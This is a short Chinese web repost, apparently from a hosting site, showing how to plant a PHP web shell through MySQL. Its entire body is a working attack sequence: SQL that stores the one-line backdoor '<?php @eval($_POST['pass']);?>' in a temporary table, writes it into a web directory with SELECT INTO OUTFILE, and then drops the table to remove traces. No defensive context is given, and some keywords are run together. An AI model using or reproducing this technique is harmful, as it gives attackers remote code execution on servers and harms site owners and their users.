鸿 网 互 联 www.68idc.cn

通过mysql插入一句话

来源:互联网 作者:佚名 时间:2016-05-07 10:06
USEtest;# MySQL 返回的查询结果为空(即零行)。 DROPTABLEIFEXISTStemp;# MySQL 返回的查询结果为空(即零行)。 CREATETABLEtemp( cmdTEXTNOTNULL );# MySQL 返回的查询结果为空(即零行)。 INSERTINTOtemp(cmd) VALUES( ?php @eval($_POST[pass]);? );# 影响列
USEtest;# MySQL 返回的查询结果为空(即零行)。
 
DROPTABLEIFEXISTStemp;# MySQL 返回的查询结果为空(即零行)。
CREATETABLEtemp(
 
cmdTEXTNOTNULL
);# MySQL 返回的查询结果为空(即零行)。
INSERTINTOtemp(cmd)
VALUES(
 
'<?php @eval($_POST['pass']);?>'
);# 影响列数: 1
SELECTcmd
FROMtemp
INTOOUTFILE'/home/htdocs/eval.php';# 影响列数: 1
DROPTABLEIFEXISTStemp;# MySQL 返回的查询结果为空(即零行)。​
 
网友评论
<